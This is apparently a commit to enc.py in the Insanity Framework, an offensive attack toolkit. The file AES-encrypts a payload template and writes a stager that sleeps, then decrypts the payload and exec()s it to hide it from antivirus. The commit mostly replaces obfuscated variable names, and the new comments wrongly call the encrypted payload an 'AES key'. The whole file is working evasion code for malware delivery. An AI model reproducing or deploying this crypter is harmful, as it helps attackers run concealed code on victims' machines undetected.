old_contents: #!/usr/bin/env python
  # -.- coding: utf-8 -.-
  # Copyright 2017 Insanity Framework (IF) 
  # Written by: * Alisson Moretto - 4w4k3
  # https://github.com/4w4k3/Insanity-Framework
  # Licensed under the BSD-3-Clause
  from Crypto.Cipher import AES
  from base64 import b64encode
  import string
  import random
  
  
  random_string_payload = ''.join(random.sample((string.ascii_uppercase + string.digits), 32))
  BLOCO = 32
  PAD = '@'
  
  
  def skdbksalnksancas(abdasbdio, chave):
      """ I don't really know what this does so I'm just gonna leave
      it how it is """
      extra = (BLOCO - len(abdasbdio)) % BLOCO
      aes = AES.new(chave, AES.MODE_ECB)
      crypt = aes.encrypt(abdasbdio + PAD * extra)
      return b64encode(crypt)
  
  
  def create_payload_script(path, output, chave):
      """ Create the payload script """
      sahdvowhiohqwrqw = open(path, 'a+')
      abdasbdio = sahdvowhiohqwrqw.read()
      abdasbdio_cifrado = skdbksalnksancas(abdasbdio, chave)
      payload = "from Crypto.Cipher import AES\n"
      payload += "from base64 import b64decode\n"
      payload += "from time import sleep\n"
      payload += "\n\nsleep(8)\n"
      payload += "aes = AES.new('{}', AES.MODE_ECB)\n".format(chave)
      payload += "exec(aes.decrypt(b64decode('{}')).rstrip('{}'))".format(abdasbdio_cifrado, PAD)
  
      andasndaasa = open(output, 'a+')
      andasndaasa.write(payload)
  
      sahdvowhiohqwrqw.close()
      andasndaasa.close()
  
  
  def main():
      """ Main function that calls all the rest """
      insane_template = 'Templates/Insane.py'
      insane_template_two = 'Templates/insane_enc.py'
      create_payload_script(
          insane_template,
          insane_template_two,
          random_string_payload
      )
  
  
  if __name__ == '__main__':
      main()
  
new_contents: #!/usr/bin/env python
  # Copyright 2017 Insanity Framework (IF)
  # Written by: * Alisson Moretto - 4w4k3
  #             * Thomas Perkins  - Ekultek
  # https://github.com/4w4k3/Insanity-Framework
  # Licensed under the BSD-3-Clause
  from Crypto.Cipher import AES
  from base64 import b64encode
  import string
  import random
  
  
  KEY_LENGTH = 32
  random_string_payload = ''.join(random.sample((string.ascii_uppercase + string.digits), KEY_LENGTH))
  PAD = '@'
  
  
  def create_b64_key(bit, chave):
      """ Create a base64 encoded 32 bit AES key """
      extra = (KEY_LENGTH - len(bit)) % KEY_LENGTH
      aes_key = AES.new(chave, AES.MODE_ECB)
      crypt = aes_key.encrypt(bit + PAD * extra)
      return b64encode(crypt)  # Return a base64 encoded AES key
  
  
  def create_payload_script(path, output, chave):
      """ Create the payload script that will be located in Templates/insane_enc.py """
      vm_template = open(path, 'a+').read()
      b64_encoded_AES_key = create_b64_key(vm_template, chave)
      payload = "from Crypto.Cipher import AES\n"  # Create the payload
      payload += "from base64 import b64decode\n"
      payload += "from time import sleep\n"
      payload += "\n\nsleep(8)\n"
      payload += "aes = AES.new('{}', AES.MODE_ECB)\n".format(chave)
      payload += "exec(aes.decrypt(b64decode('{}')).rstrip('{}'))".format(b64_encoded_AES_key, PAD)
      insane_enc_template = open(output, 'a+')
      try:
          insane_enc_template.write(payload)
          insane_enc_template.close()
      except Exception as e:
          raise IndexError("Failed to create insane_enc.py with error: {}".format(e))
  
  
  def main():
      """ Main function that calls all the rest """
      insanity_template_one = 'Templates/Insane.py'
      insanity_template_two = 'Templates/insane_enc.py'
      create_payload_script(
          insanity_template_one,
          insanity_template_two,
          random_string_payload
      )
  
  
  if __name__ == '__main__':
      main()
  
subject: update enc.py again, can understand what's going on now